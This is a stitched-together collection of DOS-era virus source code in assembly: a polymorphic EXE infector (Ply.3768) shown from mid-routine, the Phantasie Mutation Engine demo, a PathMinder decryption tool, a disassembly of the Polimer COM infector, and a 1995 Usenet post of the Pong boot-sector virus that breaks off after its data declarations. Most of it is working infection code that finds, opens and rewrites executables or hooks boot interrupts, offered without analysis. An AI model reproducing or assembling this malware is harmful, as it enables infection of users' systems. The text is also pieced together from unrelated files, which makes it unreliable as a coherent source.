mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop
mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp prepare_exit
nop
get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop
mov ax,di ; AX = 16-bit random number within...
nop
add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop
mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop
mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop
mov ax,3524h ; Get interrupt vector 24h
int 21h
nop
push bx ; Save BX at stack
nop
nop
mov ax,es ; ES = segment of interrupt 24h
nop
push ax ; Save AX at stack
nop
nop
mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop
mov ax,2524h ; Get interrupt vector 24h
lea dx,int24_virus ; DX = offset of int24_virus
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,(4e00h+2020h) ; Find first matching file
sub ax,2020h
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop
mov bx,dx ; BX = offset of file_specifi
nop
mov al,'E'
nop
mov [bx+02h],al ; Correct the file specification
find_next:
int 21h
nop
jnc open_file ; No error? Jump to open_file
nop
pop ax ; Load AX from stack
nop
nop
mov ds,ax ; DS = segment of interrupt 24h
nop
pop dx ; Load DX from stack
nop
nop
mov ax,2524h ; Set interrupt vector 24h
int 21h
nop
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov ds,bx ; DS = segment of PSP for current ...
nop
mov ah,1ah ; Set disk transfer area address
nop
mov dx,80h ; DX = offset of default disk tran...
int 21h
nop
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
jmp virus_exit
open_file:
mov al,'V'
nop
mov [bx+02h],al ; Correct the file specification
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,('ZM'+2020h) ; EXE signature
sub ax,2020h
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_find_nxt:
mov ax,(4f00h+2020h) ; Find next matching file
sub ax,2020h
jmp find_next
nop
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,(3d02h+2020h) ; Open file (read/write)
sub ax,2020h
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop
mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop
sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment
lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],dx ; Store delta offset
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov ax,(code_end-code_begin+0c0h)
add dx,ax ; DX = stack pointer
nop
mov ax,1111111111111110b
and dx,ax ; DX = " "
nop
mov [si+10h],dx ; Store stack pointer
mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop
mov ax,(5701h-2020h) ; Set file's date and time
add ax,2020h
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ah,4fh ; Find next matching file
nop
jmp find_next
int24_virus proc near ; Interrupt 24h of Ply.3768
mov al,03h ; Fail system call in progress
nop
jmp int24_exit
nop
endp
virus_exit:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop
mov cx,bx ; CX = " " " " " "
nop
add cx,10h ; CX = segment of beginning of code
lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop
add [si+02h],cx ; Add segment of beginning of code...
add cx,[si+04h] ; Add original stack segment to se...
cli ; Clear interrupt-enable flag
nop
nop
xor ax,ax ; Zero AX
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,cx ; SS = stack segment
sti ; Set interrupt-enable flag
push ax ; Save AX at stack
mov ds,bx ; DS = segment of PSP for current ...
db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
int24_exit:
iret ; Interrupt return!
db 00h,00h
file_specifi db '*.VXE',00h ; File specification
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:
end code_begin

@ -0,0 +1,94 @@
; Phantasie Mutation Engine --- DEMO
; This program will generate 50 mutation programs.
; (C) Copyright 1995 Written by Burglar. All Rights Reserved.
; Made In Taiwan.
.MODEL TINY
.CODE
ORG 100H
EXTRN PME:NEAR, PME_END:NEAR ;must declare PME to external module.
BEGIN:
MOV DX,OFFSET GEN_MSG
MOV AH,9
INT 21H
MOV CX,50
GEN:
PUSH CX
MOV DX,OFFSET FILENAME
PUSH CS
POP DS
XOR CX,CX
MOV AH,3CH
INT 21H
PUSH AX
MOV DX,OFFSET PROG ;DS:DX point to the head of program which you
;want to be mutation.
MOV CX,OFFSET PROG_END - OFFSET PROG ;CX hold the length of the
;program which you want to
;be mutation.
MOV BX,100H ;BX sets the beginning offset when execution.
PUSH SS
POP AX
ADD AX,1000H
MOV ES,AX ;ES point to a work segment.
;for putting decryption routine + encrypted code.
;just need the length of origin program + 512 bytes.
CALL PME ;OK! when every thing is okay, you can call the PME.
;When PME execute over, it will return :
;DS:DX -> decryption routine + encrypted code.
;CX -> length of the decryption routine + encrypted
;code. (always origin length + 512 bytes)
POP BX
MOV AH,40H
INT 21H
MOV AH,3EH
INT 21H
MOV BX,OFFSET FILENAME
INC BYTE PTR CS:BX+7
CMP BYTE PTR CS:BX+7,'9'
JBE L0
MOV BYTE PTR CS:BX+7,'0'
INC BYTE PTR CS:BX+6
L0:
POP CX
LOOP GEN
INT 20H
FILENAME DB '00000000.COM',0
GEN_MSG DB 'Generating 50 mutation programs... $'
PROG:
CALL $+3
POP DX
ADD DX,OFFSET MSG - OFFSET PROG - 3
MOV AH,9
INT 21H
INT 20H
MSG DB 'I am a mutation program.$'
PROG_END:
END BEGIN


@ -0,0 +1,227 @@
START SEGMENT
ASSUME CS:START,DS:START
MOV BX,80H
MOV CH,0
MOV CL,[BX]
DEC CX
MOV SI,OFFSET KODOK+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILEN+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILECO+100H
CALL BET
JMP FOLYT
KILEP: INT 20H
FOLYT: MOV SI,OFFSET KODOK+100H
MOV BX,OFFSET KODTB+100H
CIKL1: MOV AL,[SI]
OR AL,AL
JZ FOLYT5
OR AL,20H
FOLYT5: CMP AL,[BX]
JZ FOLYTC
JMP KODER
FOLYTC: CMP AL,0
JZ FOLYT4
INC BX
INC SI
JMP CIKL1
FOLYT4: MOV AL,0
MOV AH,3DH
MOV DX,OFFSET FILECO+100H
INT 21H
JNC FOLYTD
JMP FILER
FOLYTD: PUSH AX
MOV BX,AX
MOV AH,3FH
MOV CX,100H
MOV DX,OFFSET IPUFF+100H
INT 21H
POP BX
JNC FOLYTE
JMP FILER
FOLYTE: MOV AH,3EH
INT 21H
JNC FOLYTF
JMP FILER
FOLYTF: MOV BX,OFFSET IPUFF+100H
MOV SI,OFFSET PMNAM+100H
CIKL2: MOV AL,[SI]
OR AL,AL
JZ FOLYT7
CMP AL,[BX]
JZ PMOK
JMP PMER
PMOK: INC BX
INC SI
JMP CIKL2
FOLYT7: MOV DI,OFFSET FILMO+100H
MOV DL,2
CIKL4: MOV SI,OFFSET FILEN+100H
MOV CX,13
REP MOVSB
DEC DL
JNZ CIKL4
FOLYTA: MOV BX,7
MOV CX,26
MOV AL,03FH
MOV AH,9
INT 10H
MOV BX,OFFSET IPUFF+157H
MOV CX,26
MOV SI,OFFSET FILMO+100H
MOV DI,OFFSET OPUFF+100H
MOV BYTE PTR [IRANY+100H],1
CIKL6: PUSH CX
MOV CL,0
CIKL5: MOV AL,[SI]
XOR AL,CL
ROR AL,CL
CMP AL,[BX]
JZ FOLYTB
CIKL9: ADD CL,BYTE PTR [IRANY+100H]
JNZ CIKL5
PUSH BX
PUSH CX
PUSH AX
MOV AX,0E07H
MOV BX,0
INT 10H
MOV AX,0E3FH
MOV BX,0
INT 10H
POP AX
POP CX
POP BX
JMP TASZT
FOLYTB: MOV [DI],CL
CMP CL,128
JC FOLYTG
JMP CIKL9
FOLYTG: CMP CL,20H
JC CIKL9
TASZT1: PUSH CX
PUSH BX
PUSH AX
MOV BX,0
MOV AL,CL
MOV AH,0EH
MOV CX,1
INT 10H
POP AX
POP BX
POP CX
TASZT: MOV AH,0
INT 16H
CMP AH,4BH
JZ BAL
CMP AH,4DH
JZ JOBB
CMP AH,48H
JZ FEL
CMP AH,50H
JZ LE1
CMP AH,1CH
JZ ESC1
JMP TASZT
LE1: CALL BALRA
MOV BYTE PTR [IRANY+100H],0FFH
JMP CIKL9
BALRA: PUSH BX
PUSH CX
PUSH AX
MOV AX,0E08H
MOV BX,0
INT 10H
POP AX
POP CX
POP BX
RET
FEL: CALL BALRA
MOV BYTE PTR [IRANY+100H],01H
JMP CIKL9
BAL: CALL BALRA
CMP BX,OFFSET IPUFF+157H
JNC BAL1
JMP CIKL9
BAL1: CALL BALRA
DEC BX
DEC SI
DEC DI
POP CX
INC CX
JMP CIKL6
JOBB: CMP BX,OFFSET IPUFF+157H+25
JC JOBB1
CALL BALRA
JMP CIKL9
JOBB1: INC BX
INC SI
INC DI
POP CX
DEC CX
JMP CIKL6
ESC1: POP CX
MOV AX,0E0DH
MOV BX,0
INT 10H
MOV AX,0E0AH
MOV BX,0
INT 10H
MOV BYTE PTR [OPUFF+100H+28],0
KILEP1: MOV SI,OFFSET OPUFF+100H
CALL KIIR
JMP KILEP
IRANY: DB 1
PMER: MOV SI,OFFSET PERR+100H
CALL KIIR
JMP KILEP
KODER: MOV SI,OFFSET KDERR+100H
CALL KIIR
JMP KILEP
FILER: MOV SI,OFFSET FERR+100H
CALL KIIR
JMP KILEP
KIIR: MOV AL,[SI]
CMP AL,0
JNZ FOLYT6
RET
FOLYT6: MOV AH,0EH
MOV BX,0
INT 10H
INC SI
JMP KIIR
BET: MOV AL,[BX+2]
CMP AL,20H
JNZ FOLYT2
MOV BYTE PTR [SI],0
INC BX
INC SI
LOOP FOLYT3
XOR AL,AL
FOLYT3: RET
FOLYT2: MOV [SI],AL
INC SI
INC BX
LOOP BET
MOV BYTE PTR [SI],0
XOR AL,AL
RET
PMNAM: DB 'File encrypted by PathMinder v2.01 (c) Copyright 1984,1985 Westlake Data Corporation',0
FERR: DB 'TOLTESI HIBA A LEMEZEN',0DH,0AH,0
PERR: DB 'HIBAS PM-VERZIO',0DH,0AH,0
KRERR: DB 'KERESESI HIBA',0DH,0AH,0
KDERR: DB 'KODOLASI HIBA',0DH,0AH,0
FILEN: DB 64 DUP (0)
FILECO: DB 64 DUP (0)
KODOK: DB 64 DUP (0)
KODTB: DB 'feri&bozo',0
IPUFF: DB 256 DUP (0)
FILMO: DB 30 DUP (0)
OPUFF: DB 32*64 DUP (0)
START ENDS
END


@ -0,0 +1,274 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ POLIMER VIRUS ÛÛ
;ÛÛ ÛÛ
;ÛÛ Disassembly by >> Wasp << a.k.a. Night Crawler. ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 5-Jan-92 ÛÛ
;ÛÛ Version: 1.0d ÛÛ
;ÛÛ Passes: 5 Analysis Options on: OW ÛÛ
;ÛÛ ÛÛ
;ÛÛ Reassemble with MASM 5.01 ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
ifidn <reg16>, <bx>
db 0BBh
endif
ifidn <reg16>, <cx>
db 0B9h
endif
ifidn <reg16>, <dx>
db 0BAh
endif
ifidn <reg16>, <si>
db 0BEh
endif
ifidn <reg16>, <di>
db 0BFh
endif
ifidn <reg16>, <bp>
db 0BDh
endif
ifidn <reg16>, <sp>
db 0BCh
endif
ifidn <reg16>, <BX>
db 0BBH
endif
ifidn <reg16>, <CX>
db 0B9H
endif
ifidn <reg16>, <DX>
db 0BAH
endif
ifidn <reg16>, <SI>
db 0BEH
endif
ifidn <reg16>, <DI>
db 0BFH
endif
ifidn <reg16>, <BP>
db 0BDH
endif
ifidn <reg16>, <SP>
db 0BCH
endif
dw seg Imm16
endm
DATA_1E EQU 80H
DATA_2E EQU 162H
DATA_3E EQU 16AH
DATA_4E EQU 0C0H
DATA_5E EQU 103H
DATA_6E EQU 128H
DATA_7E EQU 2B9H
DATA_8E EQU 0C0H
DATA_9E EQU 0C1H
DATA_10E EQU 0C8H
DATA_12E EQU 0CAH
DATA_14E EQU 0CCH
DATA_23E EQU 0
DATA_24E EQU 100H
DATA_25E EQU 200H
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
POLIMER PROC FAR
START:
JMP LOC_4 ; (0183)
DB 00H, 3FH
DB 7 DUP (3FH)
DB 43H, 4FH, 4DH, 00H, 1AH, 00H
DB 00H, 00H, 2EH,0F2H, 0CH, 2BH
DB 01H
DB 15 DUP (0)
DATA_18 DB 'A le', 27H, 'jobb kazetta a POLI'
DB 'MER kazetta ! Vegye ezt ! ', 0AH
DB 0DH, '$'
DB 'ERROR', 0AH, 0DH, '$'
DATA_19 DW 5
DATA_20 DW 18D8H
LOC_1:
MOV SI,DATA_7E
MOV DI,DATA_8E
MOV CX,30H
CLD ; Clear direction
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
JMP $-0BAH
LOC_2:
JMP LOC_10 ; (0296)
LOC_3:
JMP LOC_9 ; (028F)
LOC_4:
MOV AL,0
MOV AH,0EH
INT 21H ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
MOV DX,DATA_4E
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV DX,DATA_6E
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
LOC_5:
MOV DX,DATA_5E
MOV AH,11H
INT 21H ; DOS Services ah=function 11h
; find filename, FCB @ ds:dx
TEST AL,AL
JNZ LOC_2 ; Jump if not zero
LOC_6:
MOV WORD PTR DS:DATA_14E,2424H
MOV AX,DS:DATA_12E
MOV WORD PTR DS:DATA_12E+1,AX
MOV AX,DS:DATA_10E
MOV AL,2EH ; '.'
MOV WORD PTR DS:DATA_10E+1,AX
MOV AL,2
MOV DX,DATA_9E
MOV AH,3DH ; '='
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
JC LOC_3 ; Jump if carry Set
MOV DATA_19,AX
MOV BX,DATA_19
MOV CX,0
MOV DX,0
MOV AL,2
MOV AH,42H ; 'B'
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_3 ; Jump if carry Set
MOV DATA_20,AX
MOV BX,DATA_19
MOV CX,0
MOV DX,0
MOV AL,0
MOV AH,42H ; 'B'
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_3 ; Jump if carry Set
MOV BX,DATA_19
MOV CX,200H
MOV DX,DATA_23E
MOV AX,DS
ADD AX,1000H
MOV DS,AX
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
MOV CX,80H
CLD ; Clear direction
MOV SI,DATA_24E
MOV DI,OFFSET DS:[200H]
REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di]
JZ LOC_8 ; Jump if zero
MOV BX,CS:DATA_19
MOV CX,CS:DATA_20
SUB CX,200H
MOV DX,DATA_25E
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
MOV AX,DS
SUB AX,1000H
MOV DS,AX
MOV BX,DATA_19
MOV CX,0
MOV DX,0
MOV AL,0
MOV AH,42H ; 'B'
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
MOV BX,DATA_19
MOV DX,OFFSET DS:[100H]
MOV CX,200H
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
MOV BX,DATA_19
MOV DX,DATA_23E
MOV CX,DATA_20
MOV AX,DS
ADD AX,1000H
MOV DS,AX
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
MOV AX,DS
SUB AX,1000H
MOV DS,AX
MOV BX,DATA_19
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JMP SHORT LOC_10 ; (0296)
DB 90H
LOC_7:
MOV DX,DATA_5E
MOV AH,12H
INT 21H ; DOS Services ah=function 12h
; find next filenam, FCB @ds:dx
TEST AL,AL
JNZ LOC_10 ; Jump if not zero
JMP LOC_6 ; (01A2)
LOC_8:
MOV AX,DS
SUB AX,1000H
MOV DS,AX
MOV BX,DS:DATA_3E
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JMP SHORT LOC_7 ; (0270)
LOC_9:
MOV DX,DATA_2E
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
LOC_10:
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
TEST AL,AL
JNZ LOC_11 ; Jump if not zero
MOV DL,2
MOV AH,0EH
INT 21H ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
TEST AL,AL
JZ LOC_11 ; Jump if zero
JMP LOC_5 ; (0197)
LOC_11:
MOV DX,DATA_1E
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
JMP LOC_1 ; (016E)
DB 0BEH, 00H, 03H
DB 0BFH, 00H, 01H,0B9H, 00H,0FDH
DB 0FCH,0F3H,0A4H,0EBH
DB 32H, 90H
DB 56 DUP (0)
POLIMER ENDP
SEG_A ENDS
END START

@ -0,0 +1,656 @@
From smtp Tue Feb 7 13:15 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:15 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500
Date: Tue, 7 Feb 1995 13:17:17 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 22178
Content-Type: text
Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) Pong
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: Pong
Date: 5 Feb 1995 21:56:02 GMT
Organization: International Internet Association.
Lines: 624
Message-ID: <3h3hhi$sb@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]
Here is the Pong virus:
; ORIGININ ADDRESS -7C00H
RAM SEGMENT AT 0
; SYSTEM DATA
ORG 20H
INT8OF DW ? ; INTERRUPT 8 OFFSET
INT8SG DW ? ; INTERRUPT 8 SEGMENT
ORG 4CH
INT19O DW ? ; INTERRUPT 19 OFFSET
INT19S DW ? ; INTERRUPT 19 SEGMENT
ORG 413H
RAMSIZ DW ? ; TOTAL RAM SIZE
; BPB OF VIRUS BOOT RECORD
ORG 7C0BH
BYPSEC DW ? ; BYTES PER SECTOR
NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT
SECRES DW ? ; RESERVED SECTORS
FATNUM DB ? ; NUMBER OF FATS
DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES
SECNUM DW ? ; NUMBER OF SECTORS
MEDIAD DB ? ; MEDIA DESCRIPTOR
SECFAT DW ? ; NUMBER OF SECTORS PER FAT
SECTRK DW ? ; SECTORS PER TRACK
HEDNUM DW ? ; NUMBER OF HEADS
HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
; INTERRUPT 19 (13H) BRANCH ADDRESS
ORG 7D2AH
ORIG19 DW ? ; ORIGINAL INT 19 OFFSET
ORG19S DW ? ; ORIGINAL INT 19 SEGMENT
; INSTALLATION DATA AREA
ORG 7DF3H
CURFAT DW ? ; CURRENT FAT SECTOR
CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
SWITCH DB ? ; SWITCHES
; - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
LSTDRV DB ? ; DRIVE LAST USED
REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE
RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING
FLAG01 DW ? ; FLAG FIELD
; DATA AREA
ORG 7EB0H
LASTTM DW ? ; SYSTEM TIME LAST CALLED
PRCFAT DB ? ; PROCESSED FAT / 256
; INTERRUPT 8 BRANCH ADDRESS
ORG 7FC9H
ORG08O DW ? ; ORIGINAL INT 8 OFFSET
ORG08S DW ? ; ORIGINAL INT 8 SEGMENT
; DISPLAY DATA AREA
ORG 7FCDH
CHARAT DW ? ; CHARACTER AND ATTRIBUTES
ROWCOL DW ? ; ROW AND COLUMN POSITIONS
ROWCLM DW ? ; ROW AND COLUMN MOVEMENT
GRAPHM DB ? ; GRAPHICS MODE SWITCH
MODEAP DW ? ; MODE AND ACTIVE PAGE
COLUMN DB ? ; VISIBLE COLUMNS - 1
; BPB OF ORIGINAL BOOT RECORD
ORG 800BH
BIPSEC DW ? ; BYTES PER SECTOR
ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT
VERVED DW ? ; RESERVED SECTORS
RUMNUM DB ? ; NUMBER OF FATS
ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES
NUOSEC DW ? ; NUMBER OF SECTORS
MIASET DB ? ; MEDIA DESCRIPTOR
FASNUM DW ? ; NUMBER OF SECTORS PER FAT
TRASSC DW ? ; SECTORS PER TRACK
NUOHED DW ? ; NUMBER OF HEADS
HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
ORG 81F5H
FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
